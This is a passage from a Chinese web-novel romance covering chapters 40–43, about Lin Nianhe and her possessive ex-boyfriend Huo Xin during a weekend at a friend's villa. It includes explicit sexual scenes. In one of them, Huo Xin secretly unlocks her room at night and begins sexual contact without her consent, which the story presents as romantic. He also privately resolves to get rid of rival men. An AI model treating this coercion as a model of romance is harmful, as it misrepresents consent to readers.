茶室里的是一张长方桌,齐总坐在他们的对面,门在侧边,他只要站起来往外走一截,就能看见她和霍锌相扣的手。 林念禾不敢有大动作,呼吸停住一瞬,用力握了握霍锌的手,示意对方松开。 身侧的男人不为所动,好心情地侧眸看了她一眼。 一步,两步…… 齐总往外走,就在快要能看见他们的手时,口袋里突然掉了个东西,他低头去捡。 霍锌像是算准了时机,松开她的手。 林念禾仿佛活过来一样,心在空中猛地坠入海底。 他完蛋了,她要用鞭子抽死他。 不能抽,这种变态,抽他就等于是在奖励他。 霍锌眉眼弯弯,明知故问,"怎么了?" "没事。" 傅阎这才注意到她的脸色,"怎么脸这么白" 林念禾摁住自己在抖的手,平静地重复,"没事。" "行吧。"傅阎不放心地多看她两眼,"晚上老刘那边搭了烧烤架子,问我们去不去" 霍锌没作声,他不爱凑热闹,林念禾想去他就去。 "那边还 开了桌麻将,老刘说跟他们玩没意思,就想跟你打。" 林念禾没听清他说的话,但不想跟霍锌独处一室,于是点头答应。 被喊老刘的人看上去年纪比他们还小点,后院里架着烧烤架子,今天温度比平时高一点点,院子里的女生清一水的短裙。 老刘住的这套别墅,靠着山林,站在后院里能看见偌大一片的竹林。 男男女女混在一起,有说有笑。 霍锌不怎么来这种场合,平时就算要玩,也是扯着傅阎他们几个喝个酒。 老刘迎上来,推着霍锌往屋里走,"我就乐意跟你打麻将,他们都太菜了。" 傅阎冷笑,"这狗东西记牌,你还跟他玩。" 老刘摇头,"你不懂这是我们聪明人的玩法。" 视线扫到林念禾,他动作一停,回忆了片刻,冷不丁想起来她是谁。 "嫂子好。" 他以前跟霍锌是同一个高中,他上高一,霍锌上高三。 全校谁不知道,学校的未来状元把霍锌拿下了。 林念禾不认识他,心里还憋着气没找霍锌算,"你认错人了。" 老刘仔细看看她,又看看霍锌的脸色。 没认错啊。 难不成分手了? 分手了,还在一块儿玩。 这难道就是资本家的友情吗? 但对方都说了不是,他也不能上去问为什么不是,于是顺着话茬道歉,"不好意思,不好意思,昨天喝的酒没醒,今天脑子还有点晕。" 第40章 第40章半夜开门 老刘拽人上桌之前,还特意问林念禾来不来,后者摆手,一脸没兴趣。 她坐在靠窗的沙发上,面前是男人的背影,腰身挺直,半截衣袖被卷起来,小臂劲瘦。 一个不认识的穿着黑色过膝裙的女生走过来,递给她一杯酒水。 林念禾闻了一下,是果酒,扑鼻的草莓味道。 女生坐下来,自来熟地抱着她的胳膊,“姐姐怎么不跟他们玩?” 林念禾不知道她是谁,握着杯子没动,解释,“刚睡醒,不太想动。” “你喜欢猫吗?” 话落,女生出去抱了一只长毛金渐层放在她的腿上,“这是我养的猫猫,它叫小刘。” 听见名字,林念禾摸猫的手一顿,“名字有点独特。” “因为是老刘送我的,起名字的时候想了半天都想不出来,最后就随便取了一个。” 女生好似打开了话匣子,跟她吐槽,“以后分手了,我再给它取个好听的名。” 林念禾有些疑惑,从女生的语气来看,两个人的情感状况并不像是穷途末路。但情侣分完手,宠物还跟着前男友姓,确实很让人膈应。 前面麻将桌上的老刘眼尖看见自己女朋友蒋壹手里的东西,眉毛瞬间皱起来,“前两天感冒,你还喝酒?” 他这一嗓子喊得在场人都看过来,霍锌侧身,望见林念禾手里的杯子,没说什么。 蒋壹笑嘻嘻,“哎呀,我没喝几口。” 听见回复,老刘刚想开口说些什么,注意力忽而被牌面吸引,不再管她。 室内恢复热闹,蒋壹朝林念禾耸耸肩,低声说,“看见了吧,男人就这样的。永远都是嘴皮动两下,装作关心我,其实根本没把我放在心上。” "到时候吵起来,我说他不关心我,他还要倒打一耙说我胡搅蛮缠。" 林念禾觉得有些新鲜,问,"你不喜欢那为什么不分手" 蒋壹完全不遮掩,"他有钱啊。我长得漂亮,他有钱,各取所需。" 她视线挪到霍锌身上,"我要是能睡霍总这样的,我肯定不选老刘。" 林念禾的话刚到嘴边,被她打断。 "这种男人最难追了,眼光比谁都挑。感觉每根头发丝都得有个女朋友。哦,人家也有可能觉得谈女朋友麻烦,所以直接找固定女伴。" 蒋壹低头欣赏自己新做的美甲,语气肯定,"表面禁欲干净的男人,鬼知道私底下是什么样子。" 林念禾面无表情地在心里点头。 对,他不要脸地半夜想爬她床。 白送男。 她说完这一大串后,才突然产生求生欲,目光恳求,"姐姐。" 她横竖不太在乎自己在老刘心里的形象,反正早晚都要分的,就看哪天老刘想分,觉得她没意思了。 但霍总不一样。 蒋壹还想分完之后,试试往上爬,找个更好点的男人。 霍锌就是那群更好的男人之一。 林念禾抬手,喝了口果酒,"知道。" 蒋壹登时双眼亮起来,跟小猫似的,亮晶晶,沾着水光。她把林念禾拽起来,"走,待在这里面闷死了,咱们去转转。" 刚迈两步,老刘喊住人,"你把林姐带哪去" 霍锌手里拿牌的动作微顿。 “出去转一下,你们慢慢玩。” 话尾一落,蒋壹就带着林念禾出去了。 绕着山路走了一会儿,路上遇见好几个脸熟的人,林念禾跟人点头打招呼。蒋壹挽着她的胳膊,动作渐渐僵硬。 她本以为林念禾是屋里面那几个人之中的女友,所以才上来跟她说话套近乎。 可事实是,林念禾大概也是某个有钱人家的女儿。 蒋壹只犹豫一秒,就甩掉了思想包袱。 说出口的话,泼出去的水,想收也收不回来。 正当她惴惴不安的时候,林念禾喝完杯子里的酒,"回去吧,我饿了。" 这酒不知道里面掺了什么饮料,甜甜的,怪好喝的。 屋里, 霍锌忽地把牌一推,"不玩儿了。" 傅阎嗤笑一声,"至于吗?" 人前脚刚走,他后脚就想跟着去。他怎么不把林念禾装口袋里面,以后去哪儿就带到哪儿。 傅阎指尖滑过麻将牌,用牌角点点桌面,"行吧,我也累了。" 虽然今天输很多把,但兄弟稀碎的爱情更让他心情愉悦。 其他两个人也站起来,"吃饭吧,都饿了。" 晚饭是在老刘这边吃的。 饭桌上,林念禾左侧坐着霍锌,右侧坐着蒋壹。 蒋壹吃两口,就偷瞄她一下。 身边的男人目光低垂,细致地挑出鱼刺,再把鱼肉递到林念禾的碗里。 林念禾一顿饭下来很沉默,沉默到有点消化不良。 他要是单给她挑刺,她还能直接拒绝。 问题是这狗东西,顺手帮傅阎也挑了。要不是因为老刘有女朋友,他还能顺手帮人也挑鱼刺。 整得像是纯好心,帮助朋友。 喜欢照顾人。 傅阎捧着碗里那块雪白的鱼肉,有点难以下筷。 大舔狗。 老刘只好奇,他霍哥什么时候变得这么好心,明明以前他倒路边,霍锌都不带多看他一眼的。 晚上, 临睡前,林念禾站在傅阎的房间门口,抵住门,跟他有商有量,"你能不能去我旁边那个房间睡。" 二楼空房间很多,她住在最左侧,傅阎选了最右侧。 这中间空着的位置留给谁,不言而喻。 傅阎今天起了大早,现在有点困,耐着性子安慰她,"我这有手铐皮鞭你要吗,如果霍锌半夜进你房间,你给他拷上,然后拿皮鞭抽他。" 变态吧。 谁家好人出来玩,随手带这种东西。 林念禾退了一步,用一种看变态的眼神鄙夷他。 果然跟霍锌玩的,都是变态。 傅阎摸摸后颈,语气真诚,"你放心,到时候你喊我一声,我保准过去帮你制服他。绝对不阻拦你抽他。" "……",林念禾忍无可忍,"你有病吧。" 他笑了一下,"开玩笑的,你放心,霍锌还没变态到半夜爬床的地步。" 余光看见走过来的身影,他声音陡然放大,"我用人格做担保,你就安心睡觉吧。" "……" 霍 锌的脚步一顿,不知道是为傅阎对他的信任所动容,还是为自己的人品所动容。 林念禾呵呵笑了两声,面无表情,"晚安。" 去他大爷的人格担保。 一个偷着藏手铐皮鞭,一个半夜爬她被窝。 果然是朋友。 门被关上,林念禾转身,猝不及防撞进男人的怀里。 他刚洗完澡出来,身上还带着潮气,若有似无的男香萦绕在鼻尖。 刚出浴的男人,容貌要比平时还要好看几分。 头发沾了水汽,一颗水滴顺着脖颈滑进衣领,惹人遐想。 霍锌虚拢住她的腰,眼尾被那会儿洗澡的热气熏得泛红,问她,"撞疼了吗?" "没有。" 他的手很自然地落在她的脸颊,抬起她的下巴,端详了一会儿,"真的没有" 林念禾想跑,被他突如其来的亲密动作给弄得全身僵硬。 其实这些动作很熟悉,但正是这种时隔多年的熟悉才让她难受。 霍锌揉揉她的耳垂,"傅阎说话向来不着调。" 他没有听到他们之前的聊天内容,从林念禾的脸色来看,傅阎八成又在满嘴跑火车,说些乱七八糟的垃圾话。 "不早了,我休息去了。" 她掰开他的手,不想再多说话。 是个人都能看出来她拒绝的态度,眼底满是冷漠。 霍锌的心突然刺痛难耐,他想从她的眼底再找出几分和从前一样的爱意,却怎么也找不到。 她对那个替身也这样吗? 那天超市外,他看的清楚,林念禾会主动和那个跟他长着相同一张脸的替身搭话,脸上也是轻松的笑意。 为什么到他这里就变了。 明明那个该死的男生是靠着和他有几分相似,才能挤到她的身边。 他静静注视了她一会儿,眼眸深处情绪翻涌,但最终归于平静。 霍锌抬手摸了摸她的头,声音温柔,"晚安。" 回到房间,洗完澡,躺在床上。 林念禾想不明白居然就这么放开自己了? 男人的突然转性,让她的心快跳几分,隐隐不安。 她爬起来,像白天一样,把钥匙拔掉,反锁房间。 白天喝了一杯酒,导致林念禾入睡的速度比平时要快一些。 眼皮一阖,陷入梦境。 走廊传来一道门被打开的声音,昏暗的视线里,男人用钥匙打开房门。 漆黑的房间,窗帘半拉,山间明亮的月光撒进屋内。 躺在大床上的女孩,盖着被子,睡得很沉。 霍锌朝她走近,高大的身影笼罩住她的脆弱的身躯。 他表情平静,仿佛刚才拿备用钥匙偷开她房门的不是自己。 平静的表面下是按耐不住的波涛汹涌。 爱意撕扯着他的意识,他想要让自己属于林念禾。 为什么不多看他一眼呢? 因为她还喜欢那位不知死活的前夫,还是更留恋家里的年轻男人,亦或者是青睐打电话来想爬上她床的不知名小三。 那些他都能给她的。 无论□□,或者精神。 他会向她贡献出自己的一切,如同信徒供奉自己的教神。 梦里,有条蛇爬上她的手臂,吐着猩红的蛇信凑近她的脸。 林念禾倏地惊醒。 她眼前漆黑,被蛇环绕的冰冷感仿佛还留在手臂上。 后背出了一层薄汗。 林念禾吐出一口气,伸手去拿床头柜上的水杯。 眼神忽地看见脚边坐着的人,手一抖。 水杯里的水浸湿胸前的衣物,睡衣贴在胸脯上。她来不及去整理,咽了咽口水,出声问,"霍锌" 被喊到名字的男人,没说话,注视着她。 林念禾感觉自己的心跳加速,像是在耳边打鼓。 半夜出现在房间的前男友。 要么想睡她,要么想要她命。 霍锌拿过纸巾,帮她擦拭衣服,"难受吗,难受就脱了换一件。" 大哥,她这会儿敢换吗? 衣服一脱,谁上谁都不一定。 想起那晚,她在他身上为非作歹,林念禾狂跳的心脏微微缓和。她也不能保证自己能控制得住不对他动手。 纸擦完后,那块布料还是湿的。 霍锌起身,拿来吹风机。 因为她不脱衣服,只能就着吹个半干。 房间里的灯没有被打开,黑暗掩盖住危险的气息。吹风机的声音在耳畔呼呼作响,林念禾在纠结怎么哄着他出去。 他个死变态,都能找钥匙偷开她房门了,还有什么是他干不出来的。 以前吵架,她冷着脸去客卧睡觉,霍锌半夜就会溜进来跟她挤一张床,抱着她说,对不起,然后把她弄回主卧。 而现在面前的男人,明显不是一句话就能打发走的。 吹风机的声音突然停止,霍锌把它放在床头柜上。 忽地低下头,咬住她胸口的尖端一点,隔着衣物舔舐。寂静的房间,水声放大,能够清晰地传进耳朵里。 好半天,他抬眸盯着她泛起薄红的脸,声音冷冷的,"要做吗?"魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 40-50 第41章 第41章夜里摊牌,你重新追我 林念禾喘了一口气,发热的脑袋像浆糊似的堵在一块,不能思考。 男人没等她回答,就继续低下头。 那块被吹风机吹得半干的面料,又变得湿漉漉。 她今天穿的灰色睡衣,浸湿后明晃晃的一块贴在身上。 霍锌的手很老实,一直扶着她的腰,没有多余的动作。 好像只要对方不开口同意,他就能忍着一直跟她纠缠下去。 再柔软的布料,也比不上皮肤。时间一长,她只觉得难受,鼓起来的尖端在温热中被反复磨蹭,莫名的情绪在身体里慢慢续积。 脚趾不自觉蜷缩,林念禾垂着眼,霍锌刚好抬眸望向她。 寂静的深夜,两双充满不同意味的眼睛望着彼此,仿佛要透过身躯看见灵魂深处。 他在跟她较劲,或者是存着心思想要爬上她的床。 林念禾不说话,霍锌也沉默不语。 她就这么静静地让熔岩一点一点将自己融化。 过了好久,空间里持续不停的水渍声终于停下。 她喘着气,衣服还完整地穿在身上,比上次要体面不少,眼眸水润,仿佛浸在水里刚刚捞出来的宝石。 林念禾单手撑着,抬起上半身。压在身上的男人,气息危险,好似一条拴着铁链的野狗,只等主人点头,就立刻扑上来吞食猎物。 她脸颊发烫,眼睫微微颤了颤,嗓子发哑,"我们不能这样。" 霍锌掌心贴着她纤细的脖颈,另一只手同她十指相扣,"哪样" 他幽暗的视线落在方才紧贴的位置,"宝宝,明明你也很喜欢不是吗?" 以前相爱时,林念禾最喜欢他的亲吻,不只是唇瓣,还有更多的地方。 她脸皮薄,被欺负狠了,会揪着他的头发,咬着他的肩膀,骂他禽兽。力度轻了,则会像只小狗一样贴上来,用脑袋蹭着他的脖子,带着哭腔说,不够。 时隔三年,还是一样的生理反应。 但这具身体的主人却不想承认这些因他而起的反应。 霍锌默了一会儿,把水杯递到她的嘴边。 林念禾还在为他的话,感到羞耻,眉头紧锁,"我不渴。" 水杯被放回原位。 "等会儿,我可能没时间喂你水。"他的手顺着她的脚背,慢慢往上,宽大的手掌滑进裤腿,声音淡淡,"你确定不喝" 他只是在等她同意,并不意味着今晚会放弃做。 林念禾可以不答应,他会一直等到她答应为止。 "你在威胁我" 男人笑了下,暧昧的气息依旧牢牢裹紧两个人,"我很想跟你好好说话,可是你一直拒绝我。" 她的脚腕被人一扯,身体平躺在床面上。 "你什么时候跟我好好说过话"话落,林念禾的一只腿被捞起来,搭在他的腰间。 她气不打一处来。 大爷的,纯王八蛋。 从那次出差到这次半夜开门。 他爹的有好好说过话吗? 甚至都没有直接挑明是想睡她,还是想复合。 复合得有个复合的样子吧,谁家好人想吃回头草,是直接扭头把草吃进肚子里,再装模作样地说我也想跟你好好说话。 她现在只是不排斥跟他做朋友,并不代表她同意跟他上/床。 成年人有生理需求,她今晚也可以顺水推舟,半推半就跟他睡一觉。 但林念禾偏偏咽不下这口气。 越想越气,她用那只被抬起的脚,直直踹在他的腰间。 核心力过于强悍的男人,动都没动一下,扯包装袋的手顿了顿,眼皮一撩,看见她泛红的眼眶,把手里的东西随手扔到一边,抬手替她擦眼泪,"哭什么?" 要哭也得是他哭。 除开他,她家里还有个见不得人的替身。 如果按照先来后到,她前夫是正宫,自己现在连小三都排不上,得算小四。 "你滚,我不想跟你做。" 林念禾拍开他的手,用手背捂着眼睛,哪怕生理上的渴求再汹涌,她今天也不想莫名其妙跟他睡。 睡他,不如自食其力。 话音刚落,她的手就被人拽开,霍锌俯首亲亲她的眼角,咸湿的泪水滚进舌尖,他像条狗一样,缠着她,不停舔舐。 直到她有些哭不动了,男人才停下动作。 "有意思吗,霍锌,咱俩这样有意思吗?"林念禾红着眼睛问他,"分手是你甩的我,你现在又缠上我,是想怎么样?" "兜兜转转,发现我是最好睡的那个还是我是最好骗的那个" 如同砸进平静水面的巨石,掀起千朵浪花。从重逢开始,成年人为了修饰太平而做出的那些伪装通通被尖锐的话语撕破。 林念禾一边平复心情,一边想着全部去死吧。 就算是今晚得罪了他,以后被霍氏打压,失去人脉资源,也无所谓。 霍锌最好再厉害一点,直接把陆建林弄破产,好让他们父女两个人流浪街头,到时候她也算另一种方式的报仇雪恨了。 "和你分手后,我没有别人。" 他漆黑的眼眸注视着她因为哭泣而变得泛起淡红的脸。 林念禾的眼泪会让他难受,每一滴泪仿佛落在心间,灼烧出密密麻麻的洞孔。 他的自尊没有办法让自己直接质问她为什么要把替身养在身边,万一得到的答案不自己想要的那个,又该怎么办。 初次撞见以为是林念禾对自己余情未了。 出差D市的晚上,她却推开了挽留的他。 同样的场景,她躺在他的身下,一直哭个不停。 人都会偏向和自己朝夕相处的更亲密的伴侣,在林念禾的心里也许霍锌早就不是第一选择。 正主遇见替身,他才是被抛弃的那个。 像被人扔掉的弃犬,摇着尾巴终于找到主人,结果发现主人身边有了更喜欢的小狗。 比他年轻,比他有活力,比他能带来更多的新鲜感。 林念禾伸手把自己褪到一半,堆在胸前的睡衣拉好。 "所以呢,你想复合" "我以为我已经够明显了。" "……" 她觉得他们之间的颗粒度根本没有对齐,两个不同频道的人一直在鸡同鸭讲。 我说城门楼子,你说胯骨轴子。 就这么该死地说到了同一张床上。 "没有人是直接爬到前女友的床上,问她做不做。这不叫想复合,这叫纯想睡觉。" 霍锌眉眼低垂,阴影笼罩着五官,突然扯了下唇,"你身边那么多零零碎碎的狗男人,我要是老实排队,排到八十了,都不一定能够着你的手。" "所以呢"林念禾忍住想扇他的冲动,"直接跳过求复合,希望通过身体来达到复合吗?" "你不想睡我吗?" 他亲了下她的嘴角,牵着她的手游走在腹肌上,紧实弹性的男人身体,手感确实好得没话说。 林念禾无情地推开他,跪坐在床上。 这不是一个促膝长谈的好场合,但如果不聊清楚,霍锌就会一直跟她不明不白地纠缠下去。 她想开始新的人生,也不排斥旧人。 前提是,自己的心能接受旧人的再次光临。 "你重新追我。" 话尾刚落,霍锌立刻接话,"那你得告诉我,你身边到底有多少跟我一样,等待上位的。" 他是被她睡前冷漠的态度气疯了,嫉妒上头,才半夜开门钻进来。 当然,就算没有这件事,他今晚也会半夜遛进来,亲亲她,然后再出去。 傅阎给她打电话,邀请她过来玩的时候,霍锌就坐在一边。 女人清冽的嗓音透过电话传到耳边,在听见没有自己时,干脆应下。 好像他是避之不及的祸水,惹上就得倒霉。 这样的态度,他温水煮青蛙,煮到锅底烂了,都不一定能撬开她的心。 林念禾把鬓间的碎发拢到耳后,闻言,抬头看了他一眼,"什么意思" "半夜打电话想做小三姓徐的男人,你那个不知道死活的前夫,还有之前出现的对我有意见的学生。"霍锌开始跟她算账,"上次出差,一直黏在你身边的姜砚。" "你喜欢他们吗?" 林念禾眨眨眼睛,"你有病吧,记这么清楚。" 他呵了一声,以前谈恋爱时的那股子拽劲儿突然上来了,话里话外满是占有欲,"怎么不能记清楚,你记不清,我更要帮你记住。" "你追你的,少管我。" 霍锌忽地抬手扣住她的后脑,直直亲下来。 撬开唇瓣,舌尖勾缠,林念禾受不住,想推开他,却被牢牢控在胸前。 他亲得很凶,恨不得把她吃了的样子,攻城掠地,扫过她敏感的上颚,那会儿进行到一半被迫停止的想法,变成亲吻,所以更加急切。 不知道过了多久,林念禾被他亲得喘不过气,霍锌开始细细地舔吮她的唇瓣。 两个人的气息交融,只在这一刻,他焦躁不安的内心才有了一丝慰藉。 脚背碰到什么东西,林念禾被烫了一下似的,想收回来,结果被他一把攥住。 霍锌声音含糊,"踩我,好不好。" 热气腾地一下冒进脑袋里,她想了一下,才明白过来这是什么意思。 "你滚蛋!" 哪有前脚说追人,后脚就进行到少儿不宜的环节。 狗东西,心思肮脏。 被拒绝的男人又亲了一会儿,起身,光脚踩着地毯,进了浴室。 直到浴室里淅淅沥沥的水声传进来,林念禾的大脑才恢复了几分清明。 她没有任何睡意,两只耳朵竖起来,听着浴室的动静。 浴室里的男人待了很久,身上沾着冷气,把被子掀开,钻进她的被窝。 林念禾看手机的动作被打断,不耐烦,"你滚,别睡我房间。" 霍锌抱着她,"我等会儿走。" "你要是不走,我就去隔壁空房间睡。" 暧昧的气氛消散得一干二净,霍锌声音低低的,冷不丁说,"你还没回答我的问题。" "怎么,要是我身边男人多了,你就不追了是吗?" 霍锌盯着她的耳垂,忍住想舔的冲动,"只是怕你把他们其中的某个带回了家。" 意有所指的话落在林念禾的耳里,像一记警钟。 她是带回家了一个,把十八岁的霍锌带回家收留。 之前以为是霍锌不相信穿越时空的事情,但她现在更怀疑小男高根本没去找27岁的霍锌,利用自己的善良,住进她家。 房间里安静到落针可闻,林念禾沉默了一会儿,"还不走吗?" 霍锌亲了亲她的发顶,"晚安,好梦。" 房门被关上,他转身回去的瞬间,脸上的温柔消失殆尽。 她还是更喜欢那个刚成年没多久,连男人都称不上的废物吗? 黑暗吞噬人的理智,放大恶念。 那些上不了台面的男人,他会一一解决。直到林念禾的床边,只剩下他一个人。 第42章 第42章屋里藏人了? 第二天早上, 林念禾醒的时候,下意识摸了一下身边的床被。确定那边是冰凉的,才放心这狗东西昨晚老实回房,没杀个回马枪。 小腹一股坠胀,她只品味了一秒这熟悉的感觉,就下床拿出自 己准备的卫生巾,进卫生巾换上。 不知道是不是最近压力过大,这次的生理期反应要比之前的强烈一些。小腹隐隐约约传来疼痛,没有多疼,但像被蚂蚁咬似的,让人心烦。 林念禾洗漱好下楼,三个人凑巧醒在同一时间段。除了她刚下楼,另外两个人已经坐在餐厅开始吃早饭。 傅阎看见她动作慢吞吞的,随口关心,"没睡好吗,脸色看起来比昨天要差一点。" 霍锌替她抽开椅凳,等人坐下后,很自然地摸了摸她的手,"身体不舒服" 林念禾懒得理他,把手从他掌心抽出来。昨天晚上的事此时此刻还堵在她的心里,像一根鱼刺卡在喉咙里面不上不下。所以一时半会儿根本不想看见他,怕一转头控制不住给他一脚。 "没睡好。" 傅阎闻言挑眉,"认床" "不是。" 对面的人想了想,眼神飘到霍锌身上,迟疑道,"有人骚扰你了?" 林念禾接过霍锌递来的粥,瓷勺在碗里搅动两下,态度不冷不淡,"这我敢说吗?" 她经过昨天的一遭,加上生理期的不自觉暴躁,导致现在浑身上下散发着浓厚的厌世情绪。 都去死吧。 霍锌不是好东西,傅阎更不是好东西。 昨天怎么说的来着,说用他的人品为兄弟做担保。他有那玩意儿吗,就拿出来做担保。 霍锌一巴掌,家里的小男高两巴掌,面前的傅阎更是三巴掌。 话里的阴阳怪气快要溢出来,傅阎呵呵赔笑了两下,没敢接话茬。 总感觉如果接着问下去,会听见些不得了的秘闻。 霍锌看了她一会儿,"肚子疼" 其实没有多疼,就是坠胀得难受。昨晚遗留的怒火攒在心中无法发泄,所以说话下意识变得阴阳怪气。 她是让他重新追她,但又没说自己同意跟他复合。 也不知道哪来的自信,摆出一副跟她很亲密的样子。 心里那张为霍锌打分的表,猛地画上两个通红的大叉。本来就为数不多的好感,一降再降。 林念禾冷漠地侧眸瞥他一眼,没应话。 没什么胃口,草草吃了两口,她就离开了。昨天开来的车停在车库,手抬起碰到车门的那刻,林念禾突然收回手,折回去。 和刚才离开的场面一样,两个男人还在安安静静地吃早饭。傅阎余光瞄到她的身影,刚想开口说话,就看见林念禾朝着霍锌逼近。 她停在他的身侧,低眸注视男人的侧脸,拿脚尖不耐烦地踢踢他的椅脚,“帮我开车。” 本来昨晚就没睡好,加上生理期烦躁,林念禾根本不想自己开车回去。 昨天都说了要他重新追她,现成的劳动力为什么摆着不用。 霍锌起身,拿过一旁搭着的外套,牵上她的手,"回家" 他说得暧昧,模糊掉主语,也不知道回的是霍锌的家,还是林念禾的家,甚至落在别人的耳朵里听起来更像是回他们两个人共同的家。 话尾刚落,傅阎狐疑的目光跟着投过来。 这俩人昨天晚上背着他暗度陈仓了? 进度忽然突飞猛涨。 林念禾察觉到他的视线,猝不及防同他对视上。 "昨晚睡得很好" 尾音听起来平静,但是藏着威胁。 傅阎迟疑地点了一下头,"还行。" "改天请你吃饭。" 吃饭吗? 他怎么觉得是把人骗进去的鸿门宴 林念禾的目光在他的脸上流转,意味深长。没等下一句带着刀的话说出口,眼睛就被一只手掌盖住。 视野漆黑,她的睫毛轻轻扫了几下男人的手心。 "为什么盯着他看" 傅阎: 他就说这男人回来之后,应该去看心理医生。 林念禾看他两眼,都要被吃醋 这要是家里真藏了人,霍锌是不是得吊死在林念禾面前。 她冷笑一声,打碎暧昧刚冒头的气氛,"因为你俩一路货色。" 等着吧,迟早巴掌会同时落在他们的脸上。 霍锌顿了下,放下手,手臂环着她的肩膀,往外走。 "他不好看。" 他现在有点草木皆兵的架势,林念禾身边不三不四的男人太多,自己又没上位,总得防着她脚踩多条船。 \"你脑子进水了?\"她一改之前的唯唯诺诺疏离态度,仿佛变了人似的,说起话来毫不客气。 "……" 坐上副驾,林念禾下意识按了一下小腹,手滑动手机,查看信息。 早上小男高发消息问她什么时候回家。 林念禾单手回信息,发过去一个大致的时间。 小腹处突然贴上一股热源,她侧眸顺着对方横过来的手臂望去。 霍锌刚上车,不知道从哪弄了一个灌好热水的小热水袋,放在她的肚子上。 他启动车,神色自然,还空出来一只手替她拢了下耳边的碎发。 林念禾捂着热水袋,源源不断的热度透过衣物传到皮肤,一时间她也不那么难受了。 车开得很稳,她没什么想搭话的念头,霍锌犹犹豫豫找了几次话题,都被她敷衍过去。 手机被平放在膝盖上,林念禾抱着胳膊,眼睛闭上休息,不知不觉中陷入梦境。 等再醒来时,她的手指率先碰到一处柔软,身上不知道什么时候被人盖上了一条毛毯。林念禾捏了下手里失去温度的热水袋,偏头去看四周的景象。 导航指定位到小区,她本来想的是开到小区门口,就让霍锌滚蛋,结果不小心睡着了,睁开眼车已经停在她家楼下。 林念禾沉思了一下,他怎么知道她的住址。 没等想明白,男人凑过来,鼻尖擦着鼻尖,呼吸洒在她的脸上,漆黑的眼瞳下垂。 普遍而来的冷香几乎要入侵她的肺腔,整个人都被裹在他的气息里,大脑停滞一刻。 "咔"的一声,安全带被解开。 霍锌缓缓收回身,林念禾被他勾得情不自禁往前移了一小段距离。 忽而反应过来,就见对方意味不明地朝她笑,眼眸里满是细细碎碎的笑意。 好像在嘲笑她被色相迷惑。 林念禾表情沉下去,突然不爽他这个样子。 现在是他在追她,他应该给她当牛做马,乞求原谅,而不是用这种该死的表情笑话自己。 她冲他勾手,霍锌拒绝似地不动。 不过去,总感觉里面埋了雷等着他踩。 林念禾的唇角倏地微微上扬,白皙的手指轻轻抚摸着他的衣领。 她很挑逗地指尖往下滑,略过衣物,钻进衣摆。 被掐的男人,眸色瞬时变暗,"嗯" 林念禾只碰了一下,就抽手,仿若无事发生地打了一个哈欠,去开车门。 谁他爹的还不会勾引人? 她一边下车,一边打消他不良的心思,"现在没时间,也没兴趣。你自己说的要追我,给我摸两下又怎么了" 关上车门,趴在车窗边,眼神清明,坦荡荡,不掺杂任何情愫,"如果不会追人,我建议你去报个班,或者回忆一下你高中怎么追我的。毕竟在我这儿,你把我甩了的这件事还没有翻篇。" "我不保证你追求期间,我能维持单身。如果追不到,那就是霍总没本事。" 单身两个字落入耳朵里,霍锌轻笑了一下,眼里却没有笑意,"池塘里鱼很多" "不多,就那么几条。" "家里不会还藏了一个吧?" 林念禾偏头看了看身后的居民楼,"有啊,你要上去看看吗?" 环境突然变得安静如鸡,男人注视着她好半天,没找到一丝心虚和破绽,好像对方只是跟他开了个不痛不痒的玩笑。 之前还在他面前遮遮掩掩,现在演都不演了? 霍锌眉毛轻蹙,"不了,我怕你真金屋藏娇。" 到时候他就连一丝尊严都没有了,只能眼睁睁地看着林念禾跟那个便宜货恩恩爱爱,自己在旁边没名没分嫉妒到眼发红。 得到回答,林念禾跟他挥挥手,转身进了楼。 不来算 了,她本来想的是,直接让他们俩见面,然后把小男高扔出去,自己当甩手掌柜。 不急,自己要抓到证据,才能好好收拾这死孩子。 回家, 拇指摁上指纹锁解锁,她把包放在玄关。 小男高正抱着枕头,面朝里侧,躺在沙发上睡觉。 林念禾瞧了下时间,快十一点了。 没打扰他,自己进房间换衣服。 18的霍锌醒过来时,脑子还糊着。一天多没见面,他这时候对林念禾的思念正咕噜咕噜往外冒个不停。 他下意识抓住身边的手机,刚想低头给她发消息,余光扫到狗笼前给狗喂零食的人,浮起来的心顿时沉下去。 霍锌揉了揉睡乱的黑发,双眸微阖,睡衣领口露出来大片肌肤,整个人懒洋洋的,眼神锁在林念禾的身上。 她感觉到后背那股认真的注视,手顿了一下,"晚上有课吗?" 霍锌怀里塞着抱枕,"有晚自习,你要送我去吗?" "我忘了,你每周末晚上有晚自习。"林念禾转过身,倚在狗笼边,"一般周末去自习的人多吗?" "挺多的。" 她的几根手指在冰冷的金属笼上点了点,"要不要我帮你请假,偶尔休息一下。" 小男高没听出来她话里的试探,本想答应,转念想到自己答应了某个约定,咽下到嘴边的回答,重新说道,"不用,我不怎么累。" "行。"林念禾轻飘飘地看了他一眼,抬步进入书房。 一直在书房待到下午五点半,霍锌背着书包出门,她等了二十分钟,才出门。 男高坐公交去上学,林念禾开着车慢慢悠悠到二中门口,因为不知道他从哪个门进去,她绕着学校不紧不慢地开了几圈。 车前忽地闯入一个熟悉的女孩背影,林念禾轻点油门,跟上去。 女孩注意到旁边的车,偏头望去。 林念禾降下车窗,笑得比蒙娜丽莎还要友善和睦,"妹妹好巧,又见面了。" 之前书店里的收银女孩,乍一看见林念禾的脸,耳朵倏地泛红,"姐姐,你好。" "霍锌有东西落在家里了,你能帮我给他吗?"她说着,拿起放在副驾驶上的文件袋。 女孩接过她的东西,"他不一定上晚自习,要不我帮您把东西放在他桌上,明天上学就能看见。" 林念禾还保持着良好笑容,"我帮我阿姨给他送东西,既然他不来,那我自己去阿姨家走一趟就行。" 女孩掐着书包肩带,"那姐姐再见。" 目送女孩进校门后,她的表情猛地冷下去,一脚踩下去,扬长而去。 第43章 第43章等人 高中晚自习的开始时间是七点,而酒吧一般是九点开始营业。 抓人当然得是抓现场,林念禾硬等到九点过后,快到十点,才一脚油门干到那家酒吧门口。 门口进进出出的年轻男女,穿着鲜丽。 她刚进去就被一个人拽住,一段时间没见,贺渺还顶着那头蓝色长发,看起来也是刚到没多久。 "你不是说你最近忙吗?" 叫了好几次,都没见着人影。 林念禾被她带到开好的卡座,抿了抿唇,贴着对方坐下,"上班压力有点大。" 贺渺倒酒的手一顿,闻言,捞过她的肩膀,拍了几下示作安慰,"哎呦,咱这是卧薪尝胆,三千越甲可吞吴。一切付出都是为了以后把你那狗爹踩在脚底下。" 说着话,突然面前来了一个年轻男人,长得还算不错,朝贺渺笑,"我们那边玩游戏还缺两个人,你们要来吗?" 